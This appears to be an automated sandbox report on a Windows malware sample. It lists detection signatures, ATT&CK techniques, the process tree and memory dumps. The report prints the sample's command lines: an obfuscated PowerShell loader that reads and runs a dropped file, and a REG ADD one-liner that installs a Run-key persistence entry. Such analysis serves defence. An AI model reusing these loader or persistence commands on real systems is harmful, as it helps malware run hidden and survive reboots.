Analysis
- max time kernel
150s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
25/08/2026, 02:51
General
- Target 541cc19ba90260c2b9db223d534f68de21c74569c3f48898037007ed2e490517.exe
- Size 619KB
- Sample260825-dclb4ssscy
- SHA256 541cc19ba90260c2b9db223d534f68de21c74569c3f48898037007ed2e490517
Malware Config
Signatures
- Adds Run key to start application 2 TTPs 1 IoCs
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops file in System32 directory 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Drops file in Program Files directory 1 IoCs
- Drops file in Windows directory 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\541cc19ba90260c2b9db223d534f68de21c74569c3f48898037007ed2e490517.exe"C:\Users\Admin\AppData\Local\Temp\541cc19ba90260c2b9db223d534f68de21c74569c3f48898037007ed2e490517.exe"1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle minimized "$Otides = gc -raw 'C:\Users\Admin\AppData\Local\Tilstrbelsesvrdigst\peptonic\ledningsevnen\Eneherskernes.Aae' ; $Nomenklator=$Otides.SubString(6873,3);.$Nomenklator($Otides)2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Badlisted process makes network request
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Ultraparallel" /t REG_EXPAND_SZ /d "%Haandspejle% -windowstyle 2 $Parkgsts='g'+'p';$Kniplers=(.($Parkgsts) 'HKCU:\Software\Hinsides\').'forstuvning';%Haandspejle% ($Kniplers)"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Ultraparallel" /t REG_EXPAND_SZ /d "%Haandspejle% -windowstyle 2 $Parkgsts='g'+'p';$Kniplers=(.($Parkgsts) 'HKCU:\Software\Hinsides\').'forstuvning';%Haandspejle% ($Kniplers)"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
Eneherskernes.Aae
Skfulds.Kre
memory/3508-63-0x00000000010B0000-0x0000000002396000-memory.dmp
memory/3524-38-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-16-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-18-0x0000000004FD0000-0x0000000005036000-memory.dmp
memory/3524-19-0x0000000005040000-0x00000000050A6000-memory.dmp
memory/3524-17-0x0000000004F30000-0x0000000004F52000-memory.dmp
memory/3524-22-0x0000000005900000-0x0000000005C5B000-memory.dmp
memory/3524-23-0x0000000005D20000-0x0000000005D3E000-memory.dmp
memory/3524-24-0x0000000005D90000-0x0000000005DDC000-memory.dmp
memory/3524-25-0x0000000006CE0000-0x0000000006D76000-memory.dmp
memory/3524-27-0x0000000006290000-0x00000000062B2000-memory.dmp
memory/3524-26-0x0000000006230000-0x000000000624A000-memory.dmp
memory/3524-28-0x0000000007390000-0x000000000794A000-memory.dmp
memory/3524-15-0x00000000052B0000-0x00000000058FA000-memory.dmp
memory/3524-30-0x0000000007FD0000-0x000000000864C000-memory.dmp
memory/3524-33-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-37-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-36-0x0000000007170000-0x0000000007190000-memory.dmp
memory/3524-32-0x0000000071040000-0x000000007108C000-memory.dmp
memory/3524-39-0x00000000071C0000-0x0000000007263000-memory.dmp
memory/3524-12-0x0000000074E02000-0x0000000074E03000-memory.dmp
memory/3524-41-0x00000000072F0000-0x0000000007301000-memory.dmp
memory/3524-31-0x0000000007130000-0x0000000007166000-memory.dmp
memory/3524-40-0x00000000072C0000-0x00000000072CA000-memory.dmp
memory/3524-42-0x0000000007310000-0x0000000007320000-memory.dmp
memory/3524-43-0x0000000007320000-0x0000000007335000-memory.dmp
memory/3524-44-0x0000000007370000-0x000000000738C000-memory.dmp
memory/3524-45-0x0000000007360000-0x0000000007368000-memory.dmp
memory/3524-46-0x0000000007B00000-0x0000000007B2A000-memory.dmp
memory/3524-47-0x0000000007B30000-0x0000000007B54000-memory.dmp
memory/3524-48-0x0000000074E02000-0x0000000074E03000-memory.dmp
memory/3524-49-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-50-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-51-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-14-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-53-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-54-0x0000000008650000-0x000000000A564000-memory.dmp
memory/3524-55-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-56-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-57-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-58-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-60-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-61-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-62-0x0000000074DF0000-0x00000000755AC000-memory.dmp
memory/3524-13-0x0000000002480000-0x00000000024B6000-memory.dmp